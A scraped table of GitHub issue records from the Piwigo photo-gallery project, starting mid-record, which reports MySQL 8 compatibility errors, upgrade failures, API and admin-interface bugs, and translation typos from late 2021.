Fatal error: Uncaught Error: Call to a member function fetch_assoc() on bool in /config/www/gallery/include/dblayer/functions_mysqli.inc.php:908 Stack trace: #0 /config/www/gallery/include/section_init.inc.php(317): query2array() #1 /config/www/gallery/index.php(12): include('/config/www/gal...') #2 {main} thrown in /config/www/gallery/include/dblayer/functions_mysqli.inc.php on line 908
```
Since it's a managed DB, i don't have full right on it so i can not disable some things like "sql mode" and the workaround here : https://github.com/Piwigo/Piwigo/blob/master/include/dblayer/functions_mysqli.inc.php#L62 is not working :(
( I'm on the latest piwigo version available ( update made the 17/11/2021 )
Thanks in advance !
|
[MYSQL 8] - [mysql error 3065] Expression #1 of ORDER BY clause is not in SELECT list
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1561/comments
| 0 |
2021-11-17T22:14:23Z
|
2021-11-17T22:14:23Z
|
https://github.com/Piwigo/Piwigo/issues/1561
| 1,056,685,406 | 1,561 |
[
"Piwigo",
"Piwigo"
] |
Hi all,
I know this is not a "pure" Piwigo issue, rather an issue with an extension (MacShareToPiwigo) for some reason it does not work on the latest versions of Mac OS. I assume it simply needs to be re-compiled / re-deployed for it to work. How ever, after one year of waiting and repeatedly posting similar messages on the Piwigo Forum, I'm hoping that someone here could help out. (marcsins the original author of the MacShareToPiwigo Plugin seems to have "left Piwigo community".
[BTW: I'm need to get this fixed as I'm helping my 90 year old father to "conserve" his Photos in a form the whole family could use, and the best way to do this is IMHO: Piwigo]
I hope some one can help me out here...
Best regards
Yonz
|
MacShareToPiwigo - Not working on macOS Big Sur and Monterey
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1560/comments
| 4 |
2021-11-15T22:00:31Z
|
2022-01-25T17:52:06Z
|
https://github.com/Piwigo/Piwigo/issues/1560
| 1,054,143,343 | 1,560 |
[
"Piwigo",
"Piwigo"
] |
Since Piwigo 12, a third-party app must call `pwg.images.uploadCompleted` to empty the lounge. If it calls it at the end of a series of uploads, calling `pwg.categories.getList` before the end of the series does not return already uploaded images.
With an app appending each image in its album as soon as it is uploaded (in cache), this leads to the situation where already uploaded images are removed from the album view when the user tries to refresh the album content or kills/restarts the app. And if the app uploads images in the background and the user launches the app before the upload series is completed, none of the uploaded images are visible.
It is possible to edit the properties of an image with `pwg.images.setInfo` before emptying the lounge. Similarly, the method `pwg.categories.getList` should return all images even if the lounge has not been emptied yet.
|
[BUG] — pwg.categories.getList does not return freshly uploaded images in v12
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1559/comments
| 2 |
2021-11-14T19:13:30Z
|
2022-01-03T17:05:27Z
|
https://github.com/Piwigo/Piwigo/issues/1559
| 1,053,017,332 | 1,559 |
[
"Piwigo",
"Piwigo"
] |
The upgrade ended with a white page with the URL: `https://piwigo.lelievre-berna.net/Dev/upgrade.php?now=`
Here is an excerpt of the PHP logs:
```
[12-Nov-2021 10:42:51 UTC] PHP Fatal error: Uncaught --> Smarty: property 'literals' does not exist. <--
thrown in […]/htdocs/Dev/include/smarty/libs/sysplugins/smarty_internal_extension_handler.php on line 92
```
I then refreshed the white page and got:
```
No upgrade required, the database structure is up to date
← back to gallery
```
The gallery loads and is displayed. The theme `Bootstrap Darkroom` is deactivated as expected. I reactivate it and browsing albums seems to work smoothly.
|
[BUG] 11.5.0 -> 12.1.0 upgrade encounters an error
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1558/comments
| 1 |
2021-11-12T11:01:44Z
|
2021-11-13T19:47:49Z
|
https://github.com/Piwigo/Piwigo/issues/1558
| 1,051,838,576 | 1,558 |
[
"Piwigo",
"Piwigo"
] |
If you have no prefix on table names, your groups table is `groups`, which is, as we all know now, a reserved keyword in MySQL 8.
In the user manager, the frontend performs an AJAX query on `pwg.users.getList` and it fails because:
> [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds
> to your MySQL server version for the right syntax to use near 'groups WHERE name LIKE '%%'' at line 1
> SELECT id FROM groups WHERE name LIKE '%%'; in include/dblayer/functions_mysqli.inc.php on line 847
1) the "groups" word should be escaped by backticks
2) why do we send a filter "%%" by default?
|
[12.1] user manager loads forever with MySQL 8
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1557/comments
| 0 |
2021-11-12T09:28:14Z
|
2021-11-15T13:00:27Z
|
https://github.com/Piwigo/Piwigo/issues/1557
| 1,051,756,972 | 1,557 |
[
"Piwigo",
"Piwigo"
] |
`Edit photo #%s` is not in the list of keys in en_UK, which make the page title not translated for any language (exception for fr_FR which has the language key)
|
missing translation on photo edit page
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1555/comments
| 0 |
2021-11-11T14:50:15Z
|
2021-11-11T15:21:57Z
|
https://github.com/Piwigo/Piwigo/issues/1555
| 1,051,058,425 | 1,555 |
[
"Piwigo",
"Piwigo"
] |
On [Administration > Photos > Add] (the "upload form") the default selected album should be the one containing the most recently added photo. It's not.
|
[12.x] upload form, unexpected selected album
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1554/comments
| 0 |
2021-11-09T15:21:25Z
|
2021-11-09T15:22:29Z
|
https://github.com/Piwigo/Piwigo/issues/1554
| 1,048,733,115 | 1,554 |
[
"Piwigo",
"Piwigo"
] |
When calling `pwg.images.uploadCompleted` Piwigo only returns details about what happened in the lounge. It would be useful to have details about the updated album (name + number of photos)
|
pwg.images.uploadCompleted add details about updated category
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1553/comments
| 0 |
2021-11-09T15:18:30Z
|
2021-11-09T15:22:29Z
|
https://github.com/Piwigo/Piwigo/issues/1553
| 1,048,729,760 | 1,553 |
[
"Piwigo",
"Piwigo"
] |
At the end of the upload, the number of photos, as displayed in the success message, does not match the reality.
|
[12.0] after upload, Album X now contains 0 photos
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1552/comments
| 0 |
2021-11-09T15:11:18Z
|
2021-11-09T15:24:21Z
|
https://github.com/Piwigo/Piwigo/issues/1552
| 1,048,721,326 | 1,552 |
[
"Piwigo",
"Piwigo"
] |
Hi,
I am getting blank page on front-end after upgrade from 11.5.0 to 12.0.0
getting following error
Warning: Parameter 2 to TAT_no_photo_yet_prefilter() expected to be a reference, value given in /home/soft/public_html/piwi867/include/smarty/libs/sysplugins/smarty_internal_runtime_filterhandler.php on line 63
Array ( [type] => 8 [message] => Undefined index: root_path [file] => /home/soft/public_html/piwi300/include/functions_url.inc.php [line] => 18 )
|
Getting Blank page on frontend after upgrade from 11.5.0 to 12.0.0
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1551/comments
| 3 |
2021-11-09T08:57:17Z
|
2022-01-10T11:39:07Z
|
https://github.com/Piwigo/Piwigo/issues/1551
| 1,048,346,954 | 1,551 |
[
"Piwigo",
"Piwigo"
] |
After update to piwigo 12.0 I can't activate any plugin anymore (as a webmaster). Generally, it's not possible to click any button of the page.
I tried with firefox and chrome.
|
Plugins page is broken
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1550/comments
| 4 |
2021-11-09T08:25:17Z
|
2023-04-29T14:33:13Z
|
https://github.com/Piwigo/Piwigo/issues/1550
| 1,048,318,458 | 1,550 |
[
"Piwigo",
"Piwigo"
] |
On the administration dashboard I can read:
> Some upgrades are available for extensions.
But when I click on the link, which opens [Administration > Tools > Updates > Extensions Update] there is nothing on this page.
|
No extension upgrades while dashboard says otherwise
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1549/comments
| 0 |
2021-11-08T16:17:03Z
|
2021-11-08T16:20:32Z
|
https://github.com/Piwigo/Piwigo/issues/1549
| 1,047,641,587 | 1,549 |
[
"Piwigo",
"Piwigo"
] |
See https://piwigo.org/forum/viewtopic.php?pid=181578#p181578 and https://piwigo.org/forum/viewtopic.php?id=31584 : if you have no prefix on table name and use MySQL 8, the `desc groups` SQL query will fail.
|
[upgrade] desc groups fails on MySQL 8
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1547/comments
| 0 |
2021-11-05T16:08:42Z
|
2021-11-05T17:19:42Z
|
https://github.com/Piwigo/Piwigo/issues/1547
| 1,046,012,466 | 1,547 |
[
"Piwigo",
"Piwigo"
] |
In Tools > Updates admin panel we can read (admin.php?page=updates - at least in version 11.*):
A new version of Piwigo is available.
This is a major update, with **new exciting features**. Some themes and plugins may be not available yet.
I think it should link to https://piwigo.org/release-12.0.0
|
Piwigo updates "new exciting features" link is blank
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1546/comments
| 4 |
2021-11-05T09:16:45Z
|
2021-11-11T14:22:35Z
|
https://github.com/Piwigo/Piwigo/issues/1546
| 1,045,607,273 | 1,546 |
[
"Piwigo",
"Piwigo"
] |
When upgrading from Piwigo 11.5.0 to pre-12.0.0 (during my tests...) I have encountered a very problematic fatal error:
> Fatal error: Uncaught --> Smarty: Smarty->_clearTemplateCache() undefined method <-- thrown in /Users/plg/www/tmp/1150/include/smarty/libs/sysplugins/smarty_internal_undefined.php on line 64
Indeed, during this upgrade, there are Smarty 3.1.29 files from Piwigo 11 mixed with Smarty 3.1.39 files from Piwigo 12.
|
[upgrade to 12] Smarty->_clearTemplateCache() undefined method
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1545/comments
| 0 |
2021-11-03T18:10:28Z
|
2021-11-03T18:14:12Z
|
https://github.com/Piwigo/Piwigo/issues/1545
| 1,043,919,017 | 1,545 |
[
"Piwigo",
"Piwigo"
] |
See #1276 or #1063 or #658 or #423
|
upgrade script to 12
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1544/comments
| 0 |
2021-11-02T14:47:19Z
|
2021-11-02T15:51:56Z
|
https://github.com/Piwigo/Piwigo/issues/1544
| 1,042,460,848 | 1,544 |
[
"Piwigo",
"Piwigo"
] |
I think this is a regression in version 11's admin UI (I'm running version 11.5), because I don't remember having such trouble before. If you go to an album's properties, into the sorting section (ex: `admin.php?page=album-ALBUM_NUMBER-sort_order`), and want to sort in reverse chronological order and then manually adjust the sorting for a few of the pictures, it is now impossible to do so, because the admin UI does not reflect the sorting changes in real time, so you can't drag and drop to reorder based on what was sorted. It's always forward-sorted.
To reproduce:
1. choose "automatic order"
2. select any of the reverse sorts (such as "Filename, Z -> A", "Date created, New -> Old", etc.)
3. click "Save settings"
Result:
* The album sorting order admin page reloads, but the thumbnails are still shown in the same order as before, forward-sorted.
* Manually sorting images via drag and drop (and using the "manual sort" setting) will thus make the album manually sorted _based on a forward-sorted album_, overriding the previously set reverse sort. It is impossible to do a manual sort on a reverse-sorted album because the two approaches fight each other, probably because the admin UI's thumbnails grid does not reflect the latest sorting order.
|
Album properties administration UI does not reflect sorting order, makes it impossible to do manual sorting based on a reversed sort
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1542/comments
| 0 |
2021-10-26T02:54:09Z
|
2021-10-26T02:54:09Z
|
https://github.com/Piwigo/Piwigo/issues/1542
| 1,035,767,387 | 1,542 |
[
"Piwigo",
"Piwigo"
] |
There are no icons in tab + we can access site manager from Sync page with tabs and from the side menu, we decided to remove it from the side menu.
|
[Sync page] & [Site Manager] : No icons in tabs
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1540/comments
| 0 |
2021-10-22T14:44:41Z
|
2021-10-22T14:45:49Z
|
https://github.com/Piwigo/Piwigo/issues/1540
| 1,033,661,406 | 1,540 |
[
"Piwigo",
"Piwigo"
] |
Back in version 11 we were able to move from group manager to user manager to edit members of a group in user manager.
With the introduction of the new user manager we lost this feature and we have to correct that.
|
Redirection from [Group Manager] to [User Manager] to edit members of a group is broken
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1539/comments
| 0 |
2021-10-22T08:37:48Z
|
2021-10-22T08:38:45Z
|
https://github.com/Piwigo/Piwigo/issues/1539
| 1,033,326,352 | 1,539 |
[
"Piwigo",
"Piwigo"
] |
The search input is auto completed in Chrome navigator. This is not good because it filters users while we don't want any filters to be applied on page load.
|
[User Manager] Search input autocomplete
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1538/comments
| 0 |
2021-10-21T15:03:08Z
|
2021-10-21T15:03:43Z
|
https://github.com/Piwigo/Piwigo/issues/1538
| 1,032,609,445 | 1,538 |
[
"Piwigo",
"Piwigo"
] |
When filtering on user names with spaces in it the filter doesn't work.
We need to filter on ids and not on the usernames we see.
|
[Activity] Activity filter bug on specific usernames
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1537/comments
| 0 |
2021-10-20T13:54:13Z
|
2021-10-20T13:55:58Z
|
https://github.com/Piwigo/Piwigo/issues/1537
| 1,031,442,111 | 1,537 |
[
"Piwigo",
"Piwigo"
] |
When checking version we are redirected to main tab of maintenance page and we don't want that to happen
|
[Maintenance Env] Useless redirect when version check
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1536/comments
| 0 |
2021-10-20T11:47:48Z
|
2021-10-20T11:54:06Z
|
https://github.com/Piwigo/Piwigo/issues/1536
| 1,031,312,345 | 1,536 |
[
"Piwigo",
"Piwigo"
] |
Small setting background color is the as as in light mode and should be in dark mode.
|
[Plugin Manager] Dark mode compact settings button not in the right color.
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1535/comments
| 0 |
2021-10-20T10:26:36Z
|
2021-10-20T10:28:27Z
|
https://github.com/Piwigo/Piwigo/issues/1535
| 1,031,241,761 | 1,535 |
[
"Piwigo",
"Piwigo"
] |
need to fix the "à" in English which should be translated by "to".
|
[Activity] Translation mistake between start and end dates
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1534/comments
| 0 |
2021-10-20T10:08:52Z
|
2021-10-20T10:09:27Z
|
https://github.com/Piwigo/Piwigo/issues/1534
| 1,031,225,086 | 1,534 |
[
"Piwigo",
"Piwigo"
] |
Change "action succesfully performed" to "action successfully performed"
|
[Maintenance page] Successfully perfomed actions messages spelling mistake
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1533/comments
| 0 |
2021-10-20T09:43:48Z
|
2021-10-20T09:46:25Z
|
https://github.com/Piwigo/Piwigo/issues/1533
| 1,031,199,844 | 1,533 |
[
"Piwigo",
"Piwigo"
] |
When you add the guest status to a user, it deactivates it but usually users don't really know what it implies to set user status to guest. So we add a little specification next to the guest option in the status selector.
|
[User Manager] Add Specification to guest status
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1532/comments
| 0 |
2021-10-20T09:08:59Z
|
2021-10-20T09:09:31Z
|
https://github.com/Piwigo/Piwigo/issues/1532
| 1,031,163,292 | 1,532 |
[
"Piwigo",
"Piwigo"
] |
In the guest user popin the status select box should be disabled as it only proposes the guest status
|
[User Manager] Guest user status should not be changeable
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1531/comments
| 0 |
2021-10-20T08:39:35Z
|
2021-10-20T08:44:06Z
|
https://github.com/Piwigo/Piwigo/issues/1531
| 1,031,135,150 | 1,531 |
[
"Piwigo",
"Piwigo"
] |
An administrator should only be able to edit the content of a gallery and not the gallery itself. The administrator status should only allow to see the configurations but not edit them.
|
Status verification in Configuration and Tools pages
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1530/comments
| 0 |
2021-10-20T08:06:46Z
|
2021-11-24T13:58:32Z
|
https://github.com/Piwigo/Piwigo/issues/1530
| 1,031,104,089 | 1,530 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.